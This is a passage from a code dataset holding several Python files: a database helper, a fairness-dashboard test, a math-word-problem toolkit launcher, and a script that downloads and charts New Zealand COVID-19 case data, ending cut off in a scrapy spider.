vals)[1:]:\n\t\t\t\tif result.count() > 0:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tresult = self.query_sqlalchemy(cls).filter(getattr(cls, k) == v)\n\t\tif limit: \n\t\t\t\tresult = result.limit(1)\n\t\treturn result\n\n\tdef search_without_orm(self, table, keys, vals, limit=None, match='all'):\n\t\tif len(keys) is not len(vals):\n\t\t\traise TypeError('Attr/val mapping failed')\n\t\telse:\n\t\t\tfilters = [self.get_attr_val(table, *pair) for pair in zip(keys, vals)]\n\t\t\treturn self.query(table, filters=filters)\n\n\tdef search(self, table, keys, vals, limit=None, match='all'):\n\t\tif self.orm:\n\t\t\tresult = self.search_with_orm(table, keys, vals, limit=limit, match=match)\n\t\telse:\n\t\t\tresult = self.search_without_orm(table, keys, vals, limit=limit, match=match)\n\t\treturn result\n\n\tdef find_or_create(self, data, log=False):\n\t\t'Fetches an object if it exists or creates and returns it if it does not'\n\t\tresult = self.find(data)\n\t\tif Transformer.is_empty(result):\n\t\t\tself.write_obj(data, log=log, clean=True)\n\t\telse:\n\t\t\tdata = Transformer.to_obj(result)\n\t\treturn data\n\n\tdef find(self, data, limit=None):\n\t\t'Basic lookup method provided a table a value and an attribute'\n\t\ttable, keys, vals = self.normalize_search_criteria(data)\n\t\tresult = self.search(table, keys, vals, limit=limit)\n\n\t\tif Transformer.is_empty(result) and self.get_table(table).has_key('unique'):\n\t\t\tresult = self.find_similar_rows(data)\n\n\t\treturn result\n\n\t@staticmethod\n\tdef is_query_criteria(data):\n\t\tif type(data) is dict and set(['table', 'lookup_val']).issubset(data.keys()):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef find_similar_rows(self, data):\n\t\t'Finds rows with the same values in fields marked as unique in metadata'\n\t\ttable, _,_, = self.normalize_search_criteria(data)\n\t\tif not self.get_table(table).has_key('unique'):\n\t\t\traise ValueError('Table {} has no \"unique\" in attributes.'.format(table))\n\n\t\tkeys = self.get_table(table)['unique']\n\t\tif DB.is_query_criteria(data):\n\n\t\t\tvals = to_list(data.get('lookup_val'))\n\t\t\tif len(vals) < len(keys) and len(vals) is 1:\n\t\t\t\tvals *= len(keys)\n\t\telse:\n\t\t\tvals = [getattribute(data, field) for field in self.get_table(table)['unique']]\n\n\t\treturn self.search(table, keys, vals, limit=1, match='any')\n\t\n\tdef meta(self, write=False): return {} \n\n\n", "sub_path": "dbs/DB.py", "file_name": "DB.py", "file_ext": "py", "file_size_in_byte": 9726, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "openmile.model.entity.OMEntity", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.exc.InvalidRequestError", "line_number": 66, "usage_type": "name"}, {"api_name": "sqlalchemy.engine.ResultProxy", "line_number": 116, "usage_type": "name"}]} {"seq_id": "473722090", "text": "# Copyright (c) Microsoft Corporation\n# Licensed under the MIT License.\n\nfrom raiwidgets import FairnessDashboard\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nimport pandas as pd\n\nfrom sklearn.datasets import fetch_openml\ndata = fetch_openml(data_id=1590, as_frame=True)\nX_raw = data.data\nY = (data.target == '>50K') * 1\nX_raw\n\n\nA = X_raw[\"sex\"]\nX = X_raw.drop(labels=['sex'], axis=1)\nX = pd.get_dummies(X)\n\nsc = StandardScaler()\nX_scaled = sc.fit_transform(X)\nX_scaled = pd.DataFrame(X_scaled, columns=X.columns)\n\nle = LabelEncoder()\nY = le.fit_transform(Y)\n\n\nX_train,\\\n X_test,\\\n Y_train,\\\n Y_test,\\\n A_train,\\\n A_test = train_test_split(X_scaled,\n Y,\n A,\n test_size=0.2,\n random_state=0,\n stratify=Y)\n\n\nX_train = X_train.reset_index(drop=True)\nA_train = A_train.reset_index(drop=True)\nX_test = X_test.reset_index(drop=True)\nA_test = A_test.reset_index(drop=True)\n\n\nunmitigated_predictor = LogisticRegression(\n solver='liblinear', fit_intercept=True)\n\nunmitigated_predictor.fit(X_train, Y_train)\n\n\nFairnessDashboard(sensitive_features=A_test, sensitive_feature_names=['sex'],\n y_true=Y_test,\n y_pred={\n \"unmitigated\": unmitigated_predictor.predict(X_test)\n})\n\n\ninput(\"Press Enter to continue...\")\n", "sub_path": "raiwidgets/tests/fairness.py", "file_name": "fairness.py", "file_ext": "py", "file_size_in_byte": 1541, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.datasets.fetch_openml", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 49, "usage_type": "call"}, {"api_name": "raiwidgets.FairnessDashboard", "line_number": 55, "usage_type": "call"}]} {"seq_id": "281820129", "text": "# -*- encoding: utf-8 -*-\n# @Author: Yihuai Lan\n# @Time: 2021/08/18 11:31:08\n# @File: quick_start.py\n\n\nimport os\nimport sys\nfrom logging import getLogger\n\nimport torch\n\nfrom mwptoolkit.config.configuration import Config\nfrom mwptoolkit.evaluate.evaluator import AbstractEvaluator, InfixEvaluator, PostfixEvaluator, PrefixEvaluator, MultiWayTreeEvaluator\nfrom mwptoolkit.evaluate.evaluator import MultiEncDecEvaluator\nfrom mwptoolkit.data.utils import create_dataset, create_dataloader\nfrom mwptoolkit.utils.utils import get_model, init_seed, get_trainer\nfrom mwptoolkit.utils.enum_type import SpecialTokens, FixType\nfrom mwptoolkit.utils.logger import init_logger\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.getcwd(), \".\")))\n\n\ndef train_cross_validation(config):\n if config[\"resume\"]:\n check_pnt = torch.load(config[\"checkpoint_path\"], map_location=config[\"map_location\"])\n start_fold_t = check_pnt[\"fold_t\"]\n best_folds_accuracy = check_pnt[\"best_folds_accuracy\"]\n else:\n start_fold_t = 0\n best_folds_accuracy = []\n logger = getLogger()\n dataset = create_dataset(config)\n logger.info(\"start training with {} fold cross validation.\".format(config[\"k_fold\"]))\n for fold_t in dataset.cross_validation_load(config[\"k_fold\"], start_fold_t):\n \n config[\"fold_t\"] = fold_t\n config[\"best_folds_accuracy\"] = best_folds_accuracy\n\n dataloader = create_dataloader(config)(config, dataset)\n\n model = get_model(config[\"model\"])(config,dataset).to(config[\"device\"])\n\n if config[\"equation_fix\"] == FixType.Prefix:\n evaluator = PrefixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.Nonfix or config[\"equation_fix\"] == FixType.Infix:\n evaluator = InfixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.Postfix:\n evaluator = PostfixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.MultiWayTree:\n evaluator = MultiWayTreeEvaluator(config)\n else:\n raise NotImplementedError\n \n if config['model'].lower() in ['multiencdec']:\n evaluator = MultiEncDecEvaluator(config)\n\n\n trainer = get_trainer(config)(config, model, dataloader, evaluator)\n logger.info(\"fold {}\".format(fold_t))\n if config[\"test_only\"]:\n trainer.test()\n best_folds_accuracy.append({\"fold_t\": fold_t, \"best_equ_accuracy\": trainer.best_test_equ_accuracy, \"best_value_accuracy\": trainer.best_test_value_accuracy})\n else:\n trainer.fit()\n best_folds_accuracy.append({\"fold_t\": fold_t, \"best_equ_accuracy\": trainer.best_test_equ_accuracy, \"best_value_accuracy\": trainer.best_test_value_accuracy})\n config[\"resume\"]=False\n best_folds_accuracy = sorted(best_folds_accuracy, key=lambda x: x[\"best_value_accuracy\"], reverse=True)\n logger.info(\"{} fold cross validation finished.\".format(config[\"k_fold\"]))\n best_equ_accuracy = []\n best_value_accuracy = []\n for accuracy in best_folds_accuracy:\n best_equ_accuracy.append(accuracy[\"best_equ_accuracy\"])\n best_value_accuracy.append(accuracy[\"best_value_accuracy\"])\n logger.info(\"fold %2d : test equ accuracy [%2.3f] | test value accuracy [%2.3f]\"\\\n %(accuracy[\"fold_t\"],accuracy[\"best_equ_accuracy\"],accuracy[\"best_value_accuracy\"]))\n logger.info(\"folds avr : test equ accuracy [%2.3f] | test value accuracy [%2.3f]\"\\\n %(sum(best_equ_accuracy)/len(best_equ_accuracy),sum(best_value_accuracy)/len(best_value_accuracy)))\n\n\ndef run_toolkit(model_name, dataset_name, task_type, config_dict={}):\n config = Config(model_name, dataset_name, task_type, config_dict)\n\n init_seed(config['random_seed'], True)\n\n init_logger(config)\n logger = getLogger()\n\n logger.info(config)\n\n if config[\"k_fold\"] != None:\n train_cross_validation(config)\n else:\n dataset = create_dataset(config)\n\n dataset.dataset_load()\n \n dataloader = create_dataloader(config)(config, dataset)\n\n model = get_model(config[\"model\"])(config,dataset).to(config[\"device\"])\n \n if config[\"equation_fix\"] == FixType.Prefix:\n evaluator = PrefixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.Nonfix or config[\"equation_fix\"] == FixType.Infix:\n evaluator = InfixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.Postfix:\n evaluator = PostfixEvaluator(config)\n elif config[\"equation_fix\"] == FixType.MultiWayTree:\n evaluator = MultiWayTreeEvaluator(config)\n else:\n raise NotImplementedError\n \n if config['model'].lower() in ['multiencdec']:\n evaluator = MultiEncDecEvaluator(config)\n\n trainer = get_trainer(config)(config, model, dataloader, evaluator)\n logger.info(model)\n if config[\"test_only\"]:\n trainer.test()\n else:\n trainer.fit()\n", "sub_path": "mwptoolkit/quick_start.py", "file_name": "quick_start.py", "file_ext": "py", "file_size_in_byte": 5015, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.insert", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "mwptoolkit.data.utils.create_dataset", "line_number": 33, "usage_type": "call"}, {"api_name": "mwptoolkit.data.utils.create_dataloader", "line_number": 40, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.utils.get_model", "line_number": 42, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Prefix", "line_number": 44, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 44, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.PrefixEvaluator", "line_number": 45, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Nonfix", "line_number": 46, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 46, "usage_type": "name"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Infix", "line_number": 46, "usage_type": "attribute"}, {"api_name": "mwptoolkit.evaluate.evaluator.InfixEvaluator", "line_number": 47, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Postfix", "line_number": 48, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 48, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.PostfixEvaluator", "line_number": 49, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.MultiWayTree", "line_number": 50, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 50, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.MultiWayTreeEvaluator", "line_number": 51, "usage_type": "call"}, {"api_name": "mwptoolkit.evaluate.evaluator.MultiEncDecEvaluator", "line_number": 56, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.utils.get_trainer", "line_number": 59, "usage_type": "call"}, {"api_name": "mwptoolkit.config.configuration.Config", "line_number": 82, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.utils.init_seed", "line_number": 84, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.logger.init_logger", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 87, "usage_type": "call"}, {"api_name": "mwptoolkit.data.utils.create_dataset", "line_number": 94, "usage_type": "call"}, {"api_name": "mwptoolkit.data.utils.create_dataloader", "line_number": 98, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.utils.get_model", "line_number": 100, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Prefix", "line_number": 102, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 102, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.PrefixEvaluator", "line_number": 103, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Nonfix", "line_number": 104, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 104, "usage_type": "name"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Infix", "line_number": 104, "usage_type": "attribute"}, {"api_name": "mwptoolkit.evaluate.evaluator.InfixEvaluator", "line_number": 105, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.Postfix", "line_number": 106, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 106, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.PostfixEvaluator", "line_number": 107, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.enum_type.FixType.MultiWayTree", "line_number": 108, "usage_type": "attribute"}, {"api_name": "mwptoolkit.utils.enum_type.FixType", "line_number": 108, "usage_type": "name"}, {"api_name": "mwptoolkit.evaluate.evaluator.MultiWayTreeEvaluator", "line_number": 109, "usage_type": "call"}, {"api_name": "mwptoolkit.evaluate.evaluator.MultiEncDecEvaluator", "line_number": 114, "usage_type": "call"}, {"api_name": "mwptoolkit.utils.utils.get_trainer", "line_number": 116, "usage_type": "call"}]} {"seq_id": "363062415", "text": "#python3 unicode\n#author:Steven Huang 07/25/20\n#function: Query NZ COVID-19 from https://www.health.govt.nz/\n#\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n#usgae:\n#python .\\mainNZ.py\n#\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nimport sys\n\nsys.path.append(\"..\")\nimport datetime\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom common.getHtml import openUrl, openUrlUrlLib\nfrom lxml import etree\n\nfrom plotCoronavirous import downloadFile, gSaveBasePath\n\n#reference: https://www.health.govt.nz/our-work/diseases-and-conditions/covid-getDataFileFromWeb19-novel-coronavirus/covid-19-current-situation/covid-19-current-cases\n#https://www.health.govt.nz/system/files/documents/pages/covid-cases-24july20.xlsx\n\nmainUrl='https://www.health.govt.nz/'\nurl=mainUrl + 'our-work/diseases-and-conditions/covid-19-novel-coronavirus/covid-19-data-and-statistics/covid-19-case-demographics'\n\ndef getDataFileFromWeb(url=url):\n html = openUrl(url) #openUrlUrlLib(url)\n #print(html)\n html = etree.HTML(html)\n #X = '//*[@id=\"node-10866\"]/div/div/div/ul[2]/li[1]/a'\n #X = '//*[@id=\"node-10866\"]/div[2]/div/div/p[13]/a'\n X = '//*[@id=\"case-details-csv-file\"]'\n #X = '//table'\n res = html.xpath(X)\n #print(len(res), res)\n if len(res) > 0:\n print(res[0].get('href'))\n return mainUrl+res[0].get('href')\n return None\n\ndef readExcel(file,sheetname=0,header=2,verbose=False):\n df = pd.read_excel(file,sheet_name=sheetname,header=header)\n print(type(df),'df.shape=',df.shape)\n \n if verbose:\n print(df.describe().transpose())\n print(df.head())\n #df.set_index([\"Location\"], inplace=True)\n print('df.columns=',df.columns)\n print('df.dtypes = ',df.dtypes)\n #df = df.apply(pd.to_numeric, axis=0)\n #print('df.dtypes = ',df.dtypes)\n return df\n\ndef readCSV(file,sheetname=0,header=0,verbose=False):\n df = pd.read_csv(file,header=header)\n #print(type(df),'df.shape=',df.shape)\n if verbose:\n print(df.describe().transpose())\n print(df.head())\n #df.set_index([\"Location\"], inplace=True)\n print('df.columns=',df.columns)\n print('df.dtypes = ',df.dtypes)\n #df = df.apply(pd.to_numeric, axis=0)\n #print('df.dtypes = ',df.dtypes)\n return df\n\ndef plotStatistcs(df,title,label):\n fontsize = 7\n kind='bar'\n # if df.shape[0]>25:\n # kind='barh'\n ax = df.plot(kind=kind,legend=False) #color='gray'\n \n x_offset = -0.06\n y_offset = 2.0\n for p in ax.patches:\n b = p.get_bbox()\n val = \"{}\".format(int(b.y1 + b.y0)) \n ax.annotate(val, ((b.x0 + b.x1)/2 + x_offset, b.y1 + y_offset), fontsize=fontsize)\n \n ax.set_title(title,fontsize=fontsize)\n #ax.legend(fontsize=fontsize)\n plt.setp(ax.get_xticklabels(), rotation=30, ha=\"right\",fontsize=fontsize)\n plt.setp(ax.get_yticklabels(),rotation=30, fontsize=fontsize)\n plt.xlabel('')\n plt.ylabel('')\n plt.subplots_adjust(left=0.2, bottom=0.22, right=0.98, top=0.94, wspace=None, hspace=None) \n plt.savefig(gSaveBasePath + 'NZ_'+label+'.png')\n #plt.show()\n \nlocationColumns = 'Last location before return' #'Last country before return'\ndef parseConfirmed(df):\n print('Confirmed dataset:\\n',df.head())\n Sex = list(set(df['Sex']))\n AgeGroup = list(set(df['Age group']))\n AgeGroup.sort()\n #AgeGroup = [ '<1', '1 to 4', '5 to 9', '10 to 14', '15 to 19', '20 to 29', '30 to 39', '40 to 49', '50 to 59', '60 to 69', '70+']\n \n DHB = list(set(df['DHB']))\n bOverseas = list(set(df['Overseas travel']))\n \n if ' ' in bOverseas:\n bOverseas.remove(' ')\n #LastTravelCountry = list(set(df[locationColumns]))\n #LastTravelCountry.remove(np.nan)\n \n print('Sex=',Sex)\n print('AgeGroup=',AgeGroup)\n print('DHB=',DHB)\n print('bOverseas=',bOverseas)\n #print('LastTravelCountry=',LastTravelCountry)\n \n columns=['Gender','Number']\n dfSex = pd.DataFrame()\n for i in Sex:\n line = pd.DataFrame([[i, df[df['Sex']==i].shape[0]]],columns=columns)\n dfSex = dfSex.append(line, ignore_index=True) \n dfSex.set_index([\"Gender\"], inplace=True)\n \n columns=['Group','Number']\n dfAgeGroup = pd.DataFrame()\n for i in AgeGroup:\n line = pd.DataFrame([[i, df[df['Age group']==i].shape[0]]],columns=columns)\n dfAgeGroup = dfAgeGroup.append(line, ignore_index=True) \n dfAgeGroup.set_index([\"Group\"], inplace=True)\n \n columns=['DHB','Number']\n dfDHB = pd.DataFrame()\n for i in DHB:\n line = pd.DataFrame([[i, df[df['DHB']==i].shape[0]]],columns=columns)\n dfDHB = dfDHB.append(line, ignore_index=True) \n #print(dfDHB)\n dfDHB.set_index([\"DHB\"], inplace=True)\n \n columns=['Overseas','Number']\n dfbOverseas = pd.DataFrame()\n for i in bOverseas:\n line = pd.DataFrame([[i, df[df['Overseas travel']==i].shape[0]]],columns=columns)\n dfbOverseas = dfbOverseas.append(line, ignore_index=True) \n dfbOverseas.set_index([\"Overseas\"], inplace=True)\n \n # columns=['RecturnCountry','Number']\n # dfLastTravelCountry = pd.DataFrame()\n # for i in LastTravelCountry:\n # line = pd.DataFrame([[i, df[df[locationColumns]==i].shape[0]]],columns=columns)\n # dfLastTravelCountry = dfLastTravelCountry.append(line, ignore_index=True) \n # dfLastTravelCountry.set_index([\"RecturnCountry\"], inplace=True)\n \n #dfSex = dfSex.sort_values(by = 0, axis=1) #dfSex.sort_values(by=['Female'],ascending=False)\n # dfAgeGroup = dfAgeGroup.sort_values(by=['Case_Per_1M_people'],ascending=False)\n dfDHB = dfDHB.sort_values(by=['Number'],ascending=False)\n # dfbOverseas = dfbOverseas.sort_values(by=['Case_Per_1M_people'],ascending=False)\n #dfLastTravelCountry = dfLastTravelCountry.sort_values(by=['Number'],ascending=False)\n \n # print(dfSex)\n # print(dfAgeGroup)\n # print(dfDHB)\n # print(dfbOverseas)\n # print(dfLastTravelCountry)\n \n now = datetime.datetime.now()\n today = str(' Date:') + str(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n label='Gender'\n plotStatistcs(dfSex,label=label,title=label + ' ' + today)\n label='AgeGroup'\n plotStatistcs(dfAgeGroup,label=label,title=label + ' ' + today)\n label='DHB'\n plotStatistcs(dfDHB,label=label,title=label + ' ' + today)\n label='IsOVerseas'\n plotStatistcs(dfbOverseas,label=label,title=label + ' ' + today)\n #label='LastTravelCountry'\n #plotStatistcs(dfLastTravelCountry,label=label,title=label + ' ' + today)\n plt.show()\n \ndef plotTotal(df,title,label,showNumberOnBar=False):\n fontsize = 8 \n plt.figure()\n ax = df.plot(kind='bar',legend=False) \n \n if showNumberOnBar:\n x_offset = -0.3\n y_offset = 0.1\n for p in ax.patches:\n b = p.get_bbox()\n val = \"{}\".format(int(b.y1 + b.y0)) \n ax.annotate(val, ((b.x0 + b.x1)/2 + x_offset, b.y1 + y_offset), fontsize=fontsize)\n \n ax.set_title(title,fontsize=fontsize)\n #ax.legend(fontsize=fontsize)\n plt.setp(ax.get_xticklabels(), rotation=30, ha=\"right\",fontsize=fontsize)\n plt.setp(ax.get_yticklabels(),rotation=30, fontsize=fontsize)\n plt.xlabel('')\n plt.ylabel('')\n plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=None) \n plt.savefig(gSaveBasePath + label + '.png')\n #plt.show()\n\ndef plotNZDataChange(df):\n def getDataRecordNum(df,date):\n records = df[df['Report Date'] == date]\n return records.shape[0]\n \n def totalDays(start,stop):\n delta = stop-start\n #print(delta.days) #type(days)\n return delta.days\n \n DATEFORMAT=r'%Y-%m-%d' #r'%d/%m/%Y'\n #print(df.head())\n #pd.to_datetime(df['Report Date'])\n \n dfDate = df['Report Date']\n dfDate= pd.to_datetime(dfDate)#format=DATEFORMAT\n #print('dtypes=', dfDate.dtypes)\n #print(dfDate.shape)\n \n dfDate = list(set(dfDate))\n dfDate.sort()\n #print('dfDate=', len(dfDate),dfDate)\n \n startDate = dfDate[0]\n stopDate = dfDate[-1]\n days = totalDays(startDate,stopDate)\n #print('startDate,stopDate=',startDate,stopDate,days)\n\n columns=['Date','Number','Cumlative']\n dfStat = pd.DataFrame()\n s = 0\n for i in range(days+1):\n d = startDate + datetime.timedelta(days=i)\n d = datetime.datetime.strftime(d, DATEFORMAT)\n number = getDataRecordNum(df,d)\n #print(d,number)\n s += number\n line = pd.DataFrame([[d, number, s]],columns=columns)\n dfStat = dfStat.append(line, ignore_index=True)\n \n now = datetime.datetime.now()\n today = str(' Date:') + str(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n \n dfStat.set_index([\"Date\"], inplace=True)\n #print('dfStat=', dfStat)\n\n label='NZ_COVID-19_EveryDayCases'\n plotTotal(dfStat['Number'], label=label, title=label + ' ' + today)\n \n label='NZ_COVID-19_CumlativeCases'\n plotTotal(dfStat['Cumlative'], label=label, title=label + ' ' + today)\n #print(dfStat['Number'][-30:])\n \n recentDays=40\n label='NZ_COVID-19_RecentCases'\n title=label + ' ' + str(recentDays) + ' days, ' + today\n plotTotal(dfStat['Number'][-1*recentDays:], label=label, title=title, showNumberOnBar=True)\n plt.show()\n \ndef getNZCovid19():\n #file=r'.\\NZ\\covid-cases-24july20.xlsx'\n file = getDataFileFromWeb()\n if file is None:\n print(r\"Can't find the file, something wrong!\")\n return None\n \n name = file[file.rfind('/')+1:]\n print(file,'name=',name)\n res = downloadFile(file,r'./NZ')\n if not res:\n print(r\"Download file failed, please check the real url!\")\n return None\n \n excel = r'./NZ'+'/'+name\n #dfConfirmed = readExcel(excel,'Confirmed') #'Probable'\n return readCSV(excel)\n \ndef plotStatistic(df):\n parseConfirmed(df)\n plotNZDataChange(df)\n \ndef main():\n df = getNZCovid19()\n if df is not None:\n plotStatistic(df)\n \nif __name__ == '__main__':\n main()\n ", "sub_path": "coronavirus/mainNZ.py", "file_name": "mainNZ.py", "file_ext": "py", "file_size_in_byte": 10052, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "common.getHtml.openUrl", "line_number": 28, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 30, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 30, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "plotCoronavirous.gSaveBasePath", "line_number": 90, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 116, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 123, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 125, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 130, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 132, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 138, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 140, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 163, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "plotCoronavirous.gSaveBasePath", "line_number": 197, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 215, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 229, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 232, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 233, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 233, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 237, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 240, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 240, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "plotCoronavirous.downloadFile", "line_number": 268, "usage_type": "call"}]} {"seq_id": "628605988", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nfrom bs4 import BeautifulSoup\n\nclass AptInfoSpider(scrapy.Spider):\n name = 'apt_info'\n start_urls = 